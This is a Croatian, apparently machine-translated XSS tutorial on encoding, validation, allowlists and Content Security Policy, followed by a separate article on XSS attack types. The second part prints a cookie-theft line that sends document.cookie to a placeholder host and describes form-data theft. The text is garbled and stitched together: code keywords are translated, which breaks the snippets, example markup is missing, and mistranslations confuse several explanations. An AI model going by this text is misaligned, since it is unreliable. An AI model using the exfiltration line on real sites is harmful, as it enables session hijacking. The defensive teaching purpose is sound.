    • Za zaštitu od tradicionalnog XSS-a, sigurno rukovanje unosom mora se obaviti u kodu na strani poslužitelja. To se radi pomoću nekog jezika koji podržava poslužitelj.
    • Za zaštitu od XSS napada u DOM-u, gdje poslužitelj nikada ne prima zlonamjerni niz (kao što je ranije opisani napad fragmentima identifikatora), sigurno rukovanje unosom mora se obaviti u kodu na strani klijenta. To se radi pomoću JavaScripta.

    Sada kada smo objasnili zašto je kontekst bitan, zašto je važna razlika između dolazne i odlazne obrade ulaza i zašto se sigurna obrada unosa mora obaviti na obje strane, na strani klijenta i na strani poslužitelja, možemo nastaviti s objašnjenjem kako to dvoje zapravo se izvode vrste sigurne obrade unosa (kodiranje i provjera valjanosti).

    Kodiranje

    Kodiranje je izlaz iz situacije u kojoj je potrebno da preglednik interpretira korisnički unos samo kao podatke, a ne kod. Najpopularnija vrsta kodiranja u web razvoju je HTML maskiranje, koje pretvara znakove kao što su< и >V< и >odnosno.

    Sljedeći pseudokod je primjer kako se korisnički unos (korisnički unos) može kodirati pomoću HTML maskiranja i zatim umetnuti na stranicu pomoću skripte na strani poslužitelja:

    ispis ""
    print "Zadnji komentar: "
    ispis encodeHtml(userInput)
    ispis ""

    Ako korisnik unese sljedeći redak..., rezultirajući HTML će izgledati ovako:


    Zadnji komentar:
    ...

    Budući da su svi znakovi s posebnim značenjem izbjegnuti, preglednik neće analizirati nijedan dio korisničkog unosa poput HTML-a.

    Kodiranje klijentskog i poslužiteljskog koda

    Kod izvođenja kodiranja na strani klijenta uvijek se koristi JavaScript koji ima ugrađene funkcije koje kodiraju podatke za različite kontekste.

    Kada radite kodiranje u kodu na strani poslužitelja, oslanjate se na značajke dostupne u vašem jeziku ili okviru. Zbog velikog broja dostupnih jezika i okvira, ovaj vodič neće pokrivati ​​pojedinosti kodiranja na bilo kojem specifičnom jeziku ili okviru poslužitelja. Međutim, JavaScript funkcije kodiranja koje se koriste na strani klijenta također se koriste pri pisanju koda na strani poslužitelja.

    Kodiranje na strani klijenta

    Prilikom kodiranja korisničkog unosa na strani klijenta pomoću JavaScripta, postoji nekoliko ugrađenih metoda i svojstava koja automatski kodiraju sve podatke u stilu osjetljivom na kontekst:

    Zadnji gore spomenuti kontekst (vrijednosti u JavaScriptu) nije uključen u ovaj popis jer JavaScript ne pruža ugrađeni način kodiranja podataka koji će biti uključeni u izvorni kod JavaScripta.

    Ograničenja kodiranja

    Čak i kod kodiranja, moguće je koristiti zlonamjerne nizove u nekim kontekstima. Jasan primjer ovoga je kada se korisnički unos koristi za pružanje URL-a, kao u primjeru u nastavku:

    document.querySelector("a").href = userInput

    Iako se specificiranjem vrijednosti u svojstvu href elementa automatski kodira tako da postaje ništa više od vrijednosti atributa, to samo po sebi ne sprječava napadača da umetne URL koji počinje s "javascript:". Kada se klikne na vezu, bez obzira na konstrukciju, izvršit će se ugrađeni JavaScript unutar URL-a.

    Kodiranje također nije učinkovito rješenje kada želite da korisnici mogu koristiti dio HTML koda na stranici. Primjer bi bila stranica korisničkog profila na kojoj korisnik može koristiti prilagođeni HTML. Ako je ovaj obični HTML kodiran, stranica profila moći će se sastojati samo od običnog teksta.

    U takvim situacijama, kodiranje mora biti dopunjeno provjerom valjanosti, koju ćemo pogledati kasnije.

    Validacija

    Validacija je čin filtriranja korisničkog unosa tako da se uklone svi njegovi zlonamjerni dijelovi, bez potrebe za uklanjanjem cijelog koda u njemu. Jedna od najčešće korištenih vrsta provjere valjanosti u razvoju weba omogućuje korištenje nekih HTML elemenata (na primjer, i ) dok onemogućuje druge (na primjer, ).

    Postoje dvije glavne karakteristične provjere, koje se razlikuju po implementaciji:

    Strategija klasifikacije Korisnički unos može se klasificirati korištenjem crnih ili bijelih popisa. Rezultat provjere valjanosti Korisnički unos identificiran kao zlonamjeran može se odbaciti ili sanirati.

    Strategija klasifikacije Crna lista

    Instinktivno se čini prikladnim izvršiti provjeru definiranjem zabranjenog uzorka koji se ne bi trebao pojaviti u korisničkom unosu. Ako linija odgovara ovom uzorku, označava se kao nevažeća. Na primjer, dopustite korisnicima slanje prilagođenih URL-ova s ​​bilo kojim protokolom osim javascripta: . Ova klasifikacijska strategija se zove crna lista.

    Međutim, crna lista ima dva glavna nedostatka:

    Poteškoće u preciznom opisivanju skupa svih mogućih zlonamjernih nizova tipično su vrlo težak zadatak. Gore opisani primjer pravila ne može se uspješno implementirati jednostavnim pretraživanjem podniza "javascript" jer bi propustio nizove poput "Javascript:" (gdje je prvo slovo veliko) i "javascript:" (gdje je prvo slovo kodirano kao numeričko referenca znakova). Zastarjelost Čak i kad bi se razvila savršena crna lista, bilo bi beskorisno ako bi se nova značajka dodana pregledniku mogla koristiti za napad. Na primjer, ako je crna lista za provjeru HTML-a razvijena prije uvođenja atributa onmousewheel u HTML5, ne bi mogla spriječiti napadača da koristi ovaj atribut za izvođenje XSS napada. Ovaj nedostatak je posebno važan u web razvoju, koji se sastoji od mnogo različitih tehnologija koje se stalno ažuriraju.

    Zbog ovih nedostataka, crna lista se snažno obeshrabruje kao strategija klasifikacije. Stavljanje na popis dopuštenih općenito je mnogo sigurniji pristup, koji ćemo opisati u nastavku.

    Bijela lista

    Bijela lista je u biti suprotnost crnoj listi: umjesto identificiranja zabranjenog uzorka, pristup bijele liste identificira dopušteni uzorak i označava unos kao nevažeći ako ne podudara se ovaj predložak.

    Za razliku od crnih popisa, primjer bijelih popisa bio bi omogućiti korisnicima da predaju prilagođene URL-ove koji sadrže samo http: i https: protokole, ništa više. Ovaj bi pristup omogućio da URL bude automatski označen kao nevažeći ako sadrži javascript: protokol, čak i ako je predstavljen kao "Javascript:" ili "javascript:".

    U usporedbi s crnom listom, bijela lista ima dvije glavne prednosti:

    Jednostavnost Precizno opisivanje skupa benignih nizova obično je mnogo lakše nego identificiranje skupa svih zlonamjernih nizova. Ovo je posebno primjenjivo u općim situacijama u kojima korisnički unos mora uključivati ​​vrlo ograničen skup funkcija dostupnih u pregledniku. Na primjer, popis dopuštenih koji je gore opisan vrlo jednostavno dopušta korištenje URL-ova samo uz dopuštene protokole HTTP: ili https:, au većini situacija to je sasvim dovoljno za korisnike. Trajnost Za razliku od crne liste, bijela lista obično ne zastarijeva kada se u preglednik doda nova značajka. Na primjer, provjera valjanosti HTML popisa dopuštenih omogućuje da samo atributi naslova HTML elemenata ostanu sigurni, čak i ako je (popis dopuštenih) dizajniran prije uvođenja HTML5 atributa onmousewheel.

    Rezultat provjere valjanosti

    Kada je korisnički unos označen kao nevažeći (zabranjen), može se poduzeti jedna od dvije radnje:

    Odbijanje unosa jednostavno se odbija, sprječavajući njegovu upotrebu na drugim mjestima na web mjestu. Čišćenjem se uklanjaju svi nevažeći dijelovi ulaznih podataka, a preostali unos koristi se na web stranici kao i obično.

    Od ova dva, otklon je najjednostavniji pristup za implementaciju. No dezinfekcija se smatra korisnijom jer pruža širi raspon unosa za korisnika. Na primjer, ako korisnik pošalje broj kreditne kartice, dezinfekcija će ukloniti sve znakove koji nisu simboli i spriječiti ubacivanje koda, a također će omogućiti korisniku da unese broj sa ili bez crtica.

    Ako odlučite provesti dezinfekciju, morate osigurati da sam postupak dezinfekcije ne koristi pristup crne liste. Na primjer, URL "Javascript:...", čak i ako je pomoću popisa dopuštenih identificiran kao nevažeći, primit će rutinu zaobilaženja dezinfekcije koja jednostavno uklanja sve instance "javascript:". Iz tog razloga, dobro testirane biblioteke i okviri trebaju koristiti dezinfekciju kad god je to moguće.

    Koje metode treba koristiti za prevenciju?

    Kodiranje bi trebalo biti vaša prva linija obrane od XSS napada, njegova je svrha obraditi podatke na takav način da preglednik ne može protumačiti korisnički unos kao kod. U nekim slučajevima kodiranje mora biti dopunjeno provjerom valjanosti. Kodiranje i provjera valjanosti moraju se primijeniti na odlazni promet jer samo tada možete znati u kojem kontekstu će se primijeniti korisnički unos i koje kodiranje i provjeru valjanosti treba primijeniti.

    Kao drugu liniju obrane, trebali biste primijeniti dezinfekciju dolaznih podataka ili odbijanje očito nevažećih korisničkih unosa, kao što su veze, koristeći javascript: protokol. Ovo samo po sebi ne može pružiti potpunu sigurnost, ali je korisna mjera opreza ako bilo koja točka u zaštiti kodiranja i provjere valjanosti ne uspije uslijed netočnog izvođenja.

    Ako se ove dvije linije obrane koriste dosljedno, vaša će stranica biti zaštićena od XSS napada. Međutim, zbog složenosti izrade i održavanja web stranice, pružanje potpune sigurnosti korištenjem samo sigurne obrade korisničkog unosa može biti teško. Kao treću liniju obrane, trebali biste koristiti Pravila sigurnosti sadržaja ( Engleski Politika sigurnosti sadržaja), zatim CSP, koji ćemo opisati u nastavku.

    Pravila sigurnosti sadržaja (CSP)

    Korištenje samo sigurnog rukovanja korisničkim unosom za zaštitu od XSS napada nije dovoljno jer čak i jedna sigurnosna pogreška može ugroziti vašu web stranicu. Prihvaćanje Politika sigurnosti sadržaja (CSP) iz novog web standarda može smanjiti ovaj rizik.

    CSP-ovi se koriste za ograničavanje korištenja web stranice u pregledniku tako da može koristiti samo resurse preuzete iz pouzdanih izvora. A resursi su skripte, listovi stilova, slike ili neka druga vrsta datoteke koja je navedena na stranici. To znači da čak i ako napadač uspije ubaciti zlonamjerni sadržaj na vašu stranicu, CSP će moći spriječiti njegovo izvršenje.

    CSP se može koristiti za provođenje sljedećih pravila:

    Zabrana nepouzdanih izvora Vanjski resursi mogu se preuzeti samo iz niza jasno definiranih pouzdanih izvora. Onemogućavanjem ugrađenih resursa, ugrađeni JavaScript i CSS neće biti uzeti u obzir. Onemogućavanje eval zabranjuje upotrebu funkcije eval u JavaScriptu.

    CSP na djelu

    U sljedećem primjeru, napadač je uspio ubaciti zlonamjerni kod na web stranicu:


    Zadnji komentar:

    Uz ispravno definiranu CSP politiku, preglednik ne može preuzeti i izvršiti malicious-script.js jer http://attacker/ nije naveden kao pouzdani izvor. Iako web mjesto nije uspjelo pouzdano obraditi unos korisnika u ovom slučaju, pravila CSP-a spriječila su ranjivost da uzrokuje bilo kakvu štetu.

    Čak i ako je napadač ubacio kod unutar koda skripte, a ne poveznicu na vanjsku datoteku, ispravno konfigurirana CSP politika također će spriječiti ubacivanje u JavaScript kod, sprječavajući ranjivost i nanošenje bilo kakve štete.

    Kako omogućiti CSP?

    Prema zadanim postavkama preglednici ne koriste CSP. Kako biste omogućili SCP na svojoj web stranici, stranice moraju sadržavati dodatno HTTP zaglavlje: Content‑Security‑Policy. Svaka stranica koja sadrži ovo zaglavlje nametnut će sigurnosna pravila kada se učita u preglednik, pod uvjetom da preglednik podržava CSP.

    Budući da se sigurnosna politika šalje sa svakim HTTP odgovorom, moguće je da poslužitelj postavi politiku zasebno za svaku stranicu. Ista se politika može primijeniti na cijelo web mjesto umetanjem istog CSP zaglavlja u svaki odgovor.

    Vrijednost u zaglavlju Content‑Security‑Policy sadrži niz koji definira jedno ili više sigurnosnih pravila koja će se izvoditi na vašem web-mjestu. Sintaksa ovog retka bit će opisana u nastavku.

    Primjeri naslova u ovom odjeljku koriste prijelome redaka i uvlake radi lakšeg snalaženja; ne bi se trebali pojavljivati ​​u stvarnom naslovu.

    CSP sintaksa

    Sintaksa CSP zaglavlja je sljedeća:

    Politika sigurnosti sadržaja:
    direktiva izvor-izraz, izvor-izraz, ...;
    direktiva ...;
    ...

    Ova se sintaksa sastoji od dva elementa:

    • Direktive su nizovi koji označavaju vrstu resursa preuzetu s danog popisa.
    • Izvorni izrazi su model koji opisuje jedan ili više poslužitelja s kojih se mogu učitati resursi.

    Za svaku direktivu podaci u izvornom izrazu određuju koji se izvori mogu koristiti za učitavanje resursa odgovarajućeg tipa.

    direktive

    Sljedeće direktive mogu se koristiti u CSP zaglavlju:

    • povezivanje-src
    • font-src
    • okvir-src
    • img-src
    • mediji-src
    • objekt-src
    • skripta-src
    • stil-src

    Uz to, posebna direktiva default-src može se koristiti za pružanje zadane vrijednosti za sve direktive koje nisu bile uključene u zaglavlje.

    Izvorni izraz

    Sintaksa za stvaranje izvornog izraza je sljedeća:

    protokol:// ime hosta: broj porta

    Naziv hosta može započeti sa *, što znači da će svaka poddomena navedenog naziva hosta biti razriješena. Slično, broj porta može biti predstavljen kao *, što znači da će svi portovi biti dopušteni. Osim toga, protokol i broj porta mogu biti izostavljeni. Ako nije naveden protokol, pravilo će zahtijevati da se svi resursi učitavaju pomoću HTTPS-a.

    Uz gornju sintaksu, izvorni izraz može alternativno biti jedna od četiri ključne riječi s posebnim značenjem (navodnici su uključeni):

    "none" onemogućuje resurse. "self" dopušta resurse s hosta na kojem se web stranica nalazi. "unsafe-inline" razrješava resurse sadržane na stranici kao ugrađene elemente, elemente i javascript: URL-ove. "unsafe-eval" omogućuje JavaScript funkciju eval.

    Imajte na umu da kad god se koristi CSP, ugrađeni resursi i eval automatski su onemogućeni prema zadanim postavkama. Korištenje "unsafe-inline" i "unsafe-eval" je jedini način da ih koristite.

    Primjer pravila

    Politika sigurnosti sadržaja:
    script‑src "self" scripts.example.com;
    media-src "ništa";
    img‑src *;
    default-src "self" http://*.example.com

    Uz ovaj primjer pravila, web stranica će imati sljedeća ograničenja:

    • Skripte se mogu preuzeti samo s hosta na kojem se web stranica nalazi i s ove adrese: skripte.example.com.
    • Zabranjeno je preuzimanje audio i video datoteka.
    • Slikovne datoteke mogu se preuzeti s bilo koje adrese.
    • Svi ostali resursi mogu se učitati samo s hosta na kojem se web stranica nalazi i s bilo koje poddomene example.com.
    CSP status

    Od lipnja 2013. W3C konzorcij preporučuje Sigurnosna pravila sadržaja. CSP implementiraju programeri preglednika, ali neki njegovi dijelovi specifični su za različite preglednike. Na primjer, korištenje HTTP zaglavlja može se razlikovati između preglednika. Prije korištenja CSP-a, pogledajte dokumentaciju preglednika koje namjeravate podržati.

    Sažetak Sažetak: XSS pregled
    • XSS napad je napad ubacivanjem koda koji je omogućen nesigurnom obradom korisničkog unosa.
    • Uspješan XSS napad omogućuje napadaču da izvrši zlonamjerni JavaScript u žrtvinom pregledniku.
    • Uspješan XSS napad ugrožava sigurnost i web stranice i njenih korisnika.
    Sažetak: XSS napadi
    • Postoje tri glavne vrste XSS napada:
      • Pohranjeni XSS, gdje zlonamjerni unos potječe iz baze podataka web stranice.
      • Reflektirani XSS, gdje zlonamjerni unos potječe iz zahtjeva žrtve.
      • XSS napadi u DOM-u, gdje se ranjivost iskorištava u kodu na strani klijenta, a ne na strani poslužitelja.
    • Svi ovi napadi izvode se različito, ali imaju isti učinak ako su uspješni.
    Sažetak: Sprječavanje XSS-a
    • Najvažniji način za sprječavanje XSS napada je izvođenje sigurne obrade unosa.
      • Kodiranje se mora izvršiti kad god je korisnički unos omogućen na stranici.
      • U nekim slučajevima kodiranje se mora zamijeniti ili dopuniti provjerom valjanosti.
      • Sigurno rukovanje unosom mora uzeti u obzir kontekst stranice u koji se unos korisnika umeće.
      • Kako bi se spriječile sve vrste XSS napada, sigurna obrada unosa mora se obaviti iu kodu na strani klijenta i na strani poslužitelja.
    • Pravila sigurnosti sadržaja (CSP) pružaju dodatni sloj zaštite u slučaju da sigurna obrada unosa sadrži pogrešku.
    Dodatak Terminologija

    Treba napomenuti da postoji križanje u terminologiji koja se koristi za opisivanje XSS-a: XSS napad u DOM-u može biti pohranjen ili reflektiran; Ovo nisu zasebne vrste napada. Ne postoji općeprihvaćena terminologija koja pokriva sve vrste XSS-a bez zabune. Bez obzira na terminologiju koja se koristi za opisivanje XSS-a, najvažnije je odrediti vrstu napada, to je moguće ako znate odakle dolazi zlonamjerni unos i gdje se nalazi ranjivost.

    Prava korištenja i poveznice

    Izvorni kod za Višak XSS-a dostupan je na GitHubu.

    Višak XSS-a nastao je 2013. kao dio tečaja Sigurnost temeljena na jeziku na Tehnološkom sveučilištu Chalmers.

    Prijevod na ruski izvršio je A888R, izvorni tekst na engleskom: excess-xss.com, komentare, prijedloge i pogreške u prijevodu treba poslati ovdje.

    Cross-site scripting (skraćeno XSS) raširena je ranjivost koja utječe na mnoge web aplikacije. Omogućuje napadaču ubacivanje zlonamjernog koda na web mjesto na takav način da će preglednik korisnika koji posjećuje web mjesto izvršiti kod.

    Tipično, iskorištavanje takve ranjivosti zahtijeva određenu interakciju s korisnikom: ili se namami na zaraženo mjesto pomoću društvenog inženjeringa ili jednostavno čeka da korisnik posjeti to mjesto. Stoga programeri često ne shvaćaju ozbiljno XSS ranjivosti.

    Ali ako se ne riješe, mogu predstavljati ozbiljan sigurnosni rizik.

    Zamislimo da se nalazimo u WordPress administratorskoj ploči i dodajemo novi sadržaj. Ako za to koristimo dodatak koji je ranjiv na XSS, on može natjerati preglednik da stvori novog administratora, izmijeni sadržaj i izvede druge zlonamjerne radnje. Cross-site skriptiranje daje napadaču gotovo potpunu kontrolu nad najvažnijim dijelom softvera ovih dana - preglednikom.

    XSS: Ranjivost ubrizgavanja

    Svaka web stranica ili aplikacija ima nekoliko mjesta za unos podataka - polja obrasca do samog URL-a. Najjednostavniji primjer unosa podataka je kada u formu unesemo korisničko ime i lozinku:

    Naše će ime biti pohranjeno u bazi podataka stranice za naknadne interakcije s nama. Sigurno ste, kada ste se prijavili na bilo koju web stranicu, vidjeli osobni pozdrav u stilu "Dobro došao, Ilya."

    Upravo se u te svrhe korisnička imena pohranjuju u bazu podataka.

    Injekcija je postupak gdje se umjesto korisničkog imena ili lozinke unosi poseban niz znakova, koji tjera poslužitelj ili preglednik da odgovori na određeni način koji napadač želi.

    Cross-site scripting je injekcija koja ubacuje kod koji će izvršiti radnje u pregledniku u ime web stranice. To se može dogoditi ili uz obavijest korisniku ili u pozadini, bez njegovog znanja.

    Tradicionalni XSS napadi: Reflektirani (nepostojani).

    Odraženi XSS napad pokreće se kada korisnik klikne na posebno izrađenu poveznicu.

    Ove se ranjivosti javljaju kada se podaci koje pruža web klijent, najčešće u parametrima HTTP zahtjeva ili u HTML obliku, izravno izvršavaju skriptama na strani poslužitelja za analizu i prikaz stranice s rezultatima za tog klijenta, bez odgovarajuće obrade.

    Pohranjeno (postojano).

    Pohranjeni XSS moguć je kada napadač uspije ubaciti zlonamjerni kod u poslužitelj koji se izvršava u pregledniku svaki put kada se pristupi originalnoj stranici. Klasičan primjer ove ranjivosti su forumi koji dopuštaju HTML komentare.

    Ranjivosti uzrokovane kodom na strani klijenta (JavaScript, Visual Basic, Flash, itd.): Također poznate kao DOM-ovi: reflektirani (nepostojani).

    Isto kao iu slučaju poslužiteljske strane, samo je u ovom slučaju napad moguć zbog činjenice da kod obrađuje preglednik.

    Pohranjeno (postojano).

    Slično XSS-u pohranjenom na strani poslužitelja, samo što se u ovom slučaju zlonamjerna komponenta pohranjuje na strani klijenta pomoću pohrane preglednika.

    Primjeri XSS ranjivosti.

    Zanimljivo, u većini slučajeva gdje je ova ranjivost opisana, plašimo se sljedećim kodom:

    Http://www.site.com/page.php?var=alert("xss");

    Postoje dvije vrste XSS ranjivosti - pasivne i aktivne.

    Aktivna ranjivost je opasniji, jer napadač ne treba namamiti žrtvu pomoću posebne veze, on samo treba ubaciti kod u bazu podataka ili neku datoteku na poslužitelju. Tako svi posjetitelji stranice automatski postaju žrtve. Može se integrirati, na primjer, pomoću SQL injekcije. Stoga ne biste trebali vjerovati podacima pohranjenim u bazi podataka, čak i ako su obrađeni tijekom umetanja.

    Primjer pasivna ranjivost Možete vidjeti na samom početku članka. Ovo već zahtijeva društveni inženjering, na primjer, važno pismo administracije web mjesta u kojem se od vas traži da provjerite postavke računa nakon vraćanja iz sigurnosne kopije. U skladu s tim, morate znati adresu žrtve ili jednostavno dogovoriti slanje neželjene pošte ili objavu na nekom forumu, a nije činjenica da će žrtve biti naivne i slijediti vaš link.

    Štoviše, i POST i GET parametri mogu biti osjetljivi na pasivnu ranjivost. S POST parametrima, naravno, morat ćete pribjeći trikovima. Na primjer, preusmjeravanje s web stranice napadača.

    document.getElementsByTagName("forma").submit();

    Stoga je GET ranjivost malo opasnija, jer... Žrtvi je lakše uočiti netočnu domenu nego dodatni parametar (iako se url općenito može kodirati).

    Krađa kolačića

    Ovo je najčešće citirani primjer XSS napada. Web stranice ponekad pohranjuju neke vrijedne informacije u kolačiće (ponekad čak i korisničku prijavu i lozinku (ili njen hash)), ali najopasnija stvar je krađa aktivne sesije, stoga ne zaboravite kliknuti poveznicu “Izlaz” na web stranicama , čak i ako se radi o kućnom računalu. Srećom, na većini izvora životni vijek sesije je ograničen.

    Var img = nova slika(); img.srs = "http://site/xss.php?" + dokument.kolačić;

    Zato su uveli ograničenja domene na XMLHttpRequest, ali to nije problem za napadača, jer postoji, , , pozadina:url(); i tako dalje.

    Krađa podataka iz obrazaca

    Obrazac tražimo preko npr. getElementById i pratimo događaj onsubmit. Sada se prije podnošenja obrasca uneseni podaci također šalju na poslužitelj napadača.

    Ova vrsta napada pomalo podsjeća na phishing, samo što koristi pravu stranicu, a ne lažnu, što ulijeva više povjerenja žrtvi.

    DDoS napad (distribuirani napad uskraćivanjem usluge)

    XSS ranjivost na jako posjećenim resursima može se koristiti za pokretanje DDoS napada. Bit je jednostavna - postoji mnogo zahtjeva koje napadnuti poslužitelj ne može izdržati.
    Zapravo, odnos prema XSS-u je neizravan, budući da se skripte uopće ne smiju koristiti, dovoljna je ovakva konstrukcija:

    Koje su opasnosti XSS-a?

    Kako možete zaštititi svoju stranicu od XSS-a? Kako provjeriti ima li u kodu ranjivosti? Postoje tehnologije poput Sucuri Firewall koje su posebno dizajnirane za izbjegavanje takvih napada. Ali ako ste programer, sigurno ćete željeti naučiti više o tome kako identificirati i ublažiti XSS ranjivosti.

    O tome ćemo govoriti u sljedećem dijelu članka o XSS-u.